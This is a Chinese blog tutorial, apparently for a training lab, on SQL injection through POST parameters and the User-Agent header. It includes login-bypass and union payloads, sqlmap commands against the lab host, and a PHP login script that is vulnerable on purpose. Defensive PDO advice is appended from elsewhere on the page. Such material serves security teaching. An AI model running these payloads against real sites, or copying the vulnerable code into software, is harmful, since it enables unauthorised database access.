POST注入与HEAD注入

一、POST注入

POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别。

SQL注入的原理

渗透测试常用工具

#最经典的POST注入——万能密码
$password=' or 1=1 -- qwe
$password=' or 1=1#
#POST注入与GET注入差别不大
#POST注入比GET注入多得多

#查看字段数
$password=' or 1=1 order by 3 -- qwe
#判断回显点
$password=' union select 1,2,3 -- qwe
#通过sqlmap进行POST注入

#--form,sqlmap去读取页面中POST传参的表单的传参名然后进行SQL注入
python sqlmap.py -u http://apple/pea/index.php --form

#获取表
python sqlmap.py -u http://apple/pea/index.php --form --tables

#提高等级
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --form --tables --level 3 --risk 2
#其实--form并不是一种好方法
#-r 抓包,一种比较好的方法,sqlmap读取数据包文件进行SQL注入,注入处可以输入一个*号告诉sqlmap测试的点
#如果是一个登陆后的用户界面存在SQL注入,登陆后的用户需要cookie,sqlmap没有这个权限,但是-r可以读取cookie
#随机输入用户名和密码,使用Burp Suite进行抓包,将数据包复制到文本文件,将文本文件复制到sqlmap目录下

python sqlmap.py -r 1.txt

python sqlmap.py -r 1.txt --level 3 --risk 2

二、HEAD注入

PHP 中的许多预定义变量都是超全局变量,这意味着它们在一个脚本的全部作用域中都可用。

#这些超全局变量主要有:
$_REQUEST #获取GET/POST/COOKIE,COOKIE在新版本已经无法获取了
$_POST  #获取POST传参
$_GET  #获取GET的传参
$_COOKIE  #获取COOKIE的值
$_SERVER  #包含了诸如头信息(header)、路径(path)以及脚本位置(script locations)等等信息的数组

请求头
GET传参
HEADER
POST传参

#以下是通过Burp对某个登录界面进行抓包得到的请求头
#我们可以得到一些关键信息,比如非登录界面使用POST传参
#User-Agent,简称UA,称为用户代理,我们可以通过Burp对其进行修改
#Referer是访问的网址
#username=admin&password=123456表示尝试输入的用户名是admin,密码是123456

POST /Pass-05/index.php HTTP/1.1
Host: inject2.lab.aqlab.cn:81
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://inject2.lab.aqlab.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2.lab.aqlab.cn:81/Pass-05/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

username=admin&password=123456&submit=%E7%99%BB%E5%BD%95

Http Header之User-Agent

User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的 UA来判断的。UA可以进行伪装。

浏览器的UA字串的标准格式:浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识版本信息。但各个浏览器有所不同。

User-Agent大全

为了方便分析,给出该网站PHP处理登录的源码

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){
   die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
   
$Insql = "INSERT INTO uagent ('uagent','username') VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

我们可以发现,用户名和密码被拼接起来,并且使用正则表达式对单引号进行了过滤,虽然仍然有方法进行绕过,但并不是本文的重点,我们主要利用$uagent = $_SERVER[‘HTTP_USER_AGENT’]得到的UA进行渗透测试。

#简单介绍绕过正则表达式(禁止使用单引号)的方法,但并不是本文重点,如下图所示
#数据库查询语句中,第二个单引号被转义了,导致\' and password=变成了字符串
select * from user where username ='\' and password='or 1=1 -- qwe'

在这里插入图片描述

以下是$_SERVER中包含的信息,第五行数据就是用户代理UA。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
好的,以下是对代码进行优化,以防止XSS攻击和MySQL注入攻击的建议: 1. 防止XSS攻击 在输出用户输入的内容时,应该对特殊字符进行转义,以避免XSS攻击。 ```php $username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8'); $password = htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8'); ``` 这里使用了htmlspecialchars()函数来对输入的内容进行转义,第一个参数是要转义的字符串,第二个参数是转义规则,第三个参数是字符集。 2. 防止MySQL注入攻击 在执行SQL语句时,应该使用预处理语句和绑定参数,以避免MySQL注入攻击。 ```php // 验证用户名和密码是否正确 $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = SHA(:password)'); $stmt->bindParam(':username', $username); $stmt->bindParam(':password', $password); $stmt->execute(); // 获取查询结果 $user = $stmt->fetch(PDO::FETCH_ASSOC); ``` 这里使用了PDO预处理语句和绑定参数,可以防止SQL注入攻击。在预处理语句中使用占位符(:username和:password),然后使用bindParam()函数将变量绑定到占位符上。在执行查询时,PDO会自动将变量进行转义,从而保护查询安全。 综上所述,以下是对代码进行优化后的示例: ```php <?php session_start(); // 启动会话 if ($_SERVER['REQUEST_METHOD'] == 'POST') { // 防止XSS攻击 $username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8'); $password = htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8'); // 链接数据库 $dsn = 'mysql:host=localhost;dbname=test;charset=utf8mb4'; $pdo = new PDO($dsn, 'root', ''); // 防止MySQL注入攻击 $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = SHA(:password)'); $stmt->bindParam(':username', $username); $stmt->bindParam(':password', $password); $stmt->execute(); // 获取查询结果 $user = $stmt->fetch(PDO::FETCH_ASSOC); if ($user) { // 登录成功,将用户信息存储到会话中 $_SESSION['username'] = $username; header('location: index.php'); // 跳转到首页 exit; } else { // 登录失败,显示错误信息 $error = '用户名或密码错误'; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>登录</title> </head> <body> <?php if (isset($error)) { ?> <p><?php echo $error; ?></p> <?php } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <label for="username">用户名:</label> <input type="text" name="username" required><br><br> <label for="password">密码:</label> <input type="password" name="password" required><br><br> <input type="submit" value="登录"> </form> </body> </html> ``` 这个示例代码中使用了htmlspecialchars()函数对用户输入进行转义,使用PDO预处理语句和绑定参数来执行SQL查询,可以有效地防止XSS攻击和MySQL注入攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

弈-剑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值